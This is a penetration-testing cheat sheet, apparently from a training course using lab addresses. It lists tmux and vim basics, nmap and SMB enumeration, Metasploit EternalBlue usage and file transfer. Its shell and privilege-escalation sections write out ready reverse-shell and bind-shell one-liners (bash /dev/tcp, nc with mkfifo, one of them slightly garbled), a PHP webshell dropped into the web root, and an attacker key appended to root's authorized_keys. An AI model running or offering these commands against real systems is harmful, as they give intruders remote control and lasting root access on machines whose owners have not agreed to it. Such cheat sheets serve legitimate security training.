

# CHEAT SHEET

# **Basic Tools**

#### General

Connect to VPN: sudo openvpn user.ovpn

Show our IP address: ifconfig/ip a

Show networks accessible via the VPN: netstat -rn

SSH to a remote server: ssh user@10.10.10.10

FTP to a remote server: ftp 10.129.42.253

#### tmux

Start tmux: tmux

tmux: default prefix: ctrl+b

tmux: new window: prefix c

tmux: switch to window (1): prefix 1

# CHEAT SHEET

tmux: split pane vertically: prefix shift+%

tmux: split pane horizontally: prefix shift+"

tmux: switch to the right pane: prefix →

#### Vim

vim: open file with vim: vim file

vim: enter insert mode: esc+i

vim: back to normal mode: esc

vim: Cut character: x

vim: Cut word: dw

vim: Cut full line: dd

vim: Copy word: yw

vim: Copy full line: yy

vim: Paste: p

vim: Go to line number 1: :1

vim: Write the file 'i.e. save': : w

## CHEAT SHEET

vim: Quit: : q

vim: Quit without saving: :q!

vim: Write and quit: : wq

# **Pentesting**

## **Service Scanning**

Run nmap on an IP: nmap 10.129.42.253

Run an nmap script scan on an IP: nmap -sV -sC -p- 10.129.42.253

List various available nmap scripts: locate scripts/citrix

Run an nmap script on an IP:

nmap --script smb-os-discovery.nse -p445 10.10.10.40

Grab banner of an open port: netcat 10.10.10.10 22

List SMB Shares: smbclient -N -L \\\\10.129.42.253

## CHEAT SHEET

Connect to an SMB share: smbclient \\\\10.129.42.253\\users

Scan SNMP on an IP: snmpwalk -v 2c -c public 10.129.42.253 1.3.6.1.2.1.1.5.0

Brute force SNMP secret string: onesixtyone -c dict.txt 10.129.42.254

#### **Web Enumeration**

Run a directory scan on a website: gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt

Run a sub-domain scan on a website: gobuster dns -d inlanefreight.com -w /usr /share/SecLists/Discovery/DNS/namelist.txt

Grab website banner: curl -IL https://www.inlanefreight.com

List details about the webserver/certificates: whatweb 10.10.10.121



## CHEAT SHEET

List potential directories in robots.txt: curl 10.10.10.121/robots.txt

View page source (in Firefox): ctrl+U

### **Public Exploits**

Search for public exploits for a web application: searchsploit openssh 7.2

MSF: Start the Metasploit Framework: msfconsole

MSF: Search for public exploits in MSF: search exploit eternalblue

MSF: Start using an MSF module: use exploit/windows/smb/ms17\_010\_psexec

MSF: Show required options for an MSF module: show options

MSF: Set a value for an MSF module option: set RHOSTS 10.10.10.40

MSF: Test if the target server is vulnerable: check

MSF: Run the exploit on the target server is vulnerable: exploit

# CHEAT SHEET

## **Using Shells**

Start a nc listener on a local port: nc -lvnp 1234

Send a reverse shell from the remote server:

bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1'

Another command to send a reverse shell from the remote server:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/fl/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f

Start a bind shell on the remote server:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash
-i 2>&1|nc -lvp 1234 >/tmp/f

Connect to a bind shell started on the remote server: nc 10.10.10.1 1234

Upgrade shell TTY (1):
python -c 'import pty;
pty.spawn("/bin/bash")'

Upgrade shell TTY (2): ctrl+z then stty raw -echo then fg then enter twice

## CHEAT SHEET

Create a webshell php file:
 echo "<?php system(\\$\_GET['cmd']);?>" >
 /var/www/html/shell.php

Execute a command on an uploaded webshell: curl http://SERVER\_IP:PORT/shell.php?cmd=id

## **Privilege Escalation**

Run linpeas script to enumerate remote server: ./linpeas.sh

List available sudo privileges: sudo -l

Run a command with sudo: sudo -u user /bin/echo Hello World!

Switch to root user (if we have access to sudo su): sudo su -

Switch to a user (if we have access to sudo su): sudo su user -

Create a new SSH key: ssh-keygen -f key

Add the generated public key to the user:
echo "ssh-rsa AAAAB...SNIP...M= user@parrot"
>> /root/.ssh/authorized\_keys

## CHEAT SHEET

SSH to the server with the generated private key: ssh root@10.10.10.10 -i key

## **Transferring Files**

Start a local webserver: python3 -m http.server 8000

Download a file on the remote server from our local machine: wget http://10.10.14.1:8000/linpeas.sh

Download a file on the remote server from our local machine: curl http://10.10.14.1:8000/linenum.sh -o linenum.sh

Transfer a file to the remote server with scp (requires SSH access):

scp linenum.sh
user@remotehost:/tmp/linenum.sh

Convert a file to base64: base64 shell -w 0

Convert a file from base64 back to its orig: echo f0VMR...SNIO...InmDwU | base64 -d > shell

Check the file's md5sum to ensure it converted correctly: md5sum shell

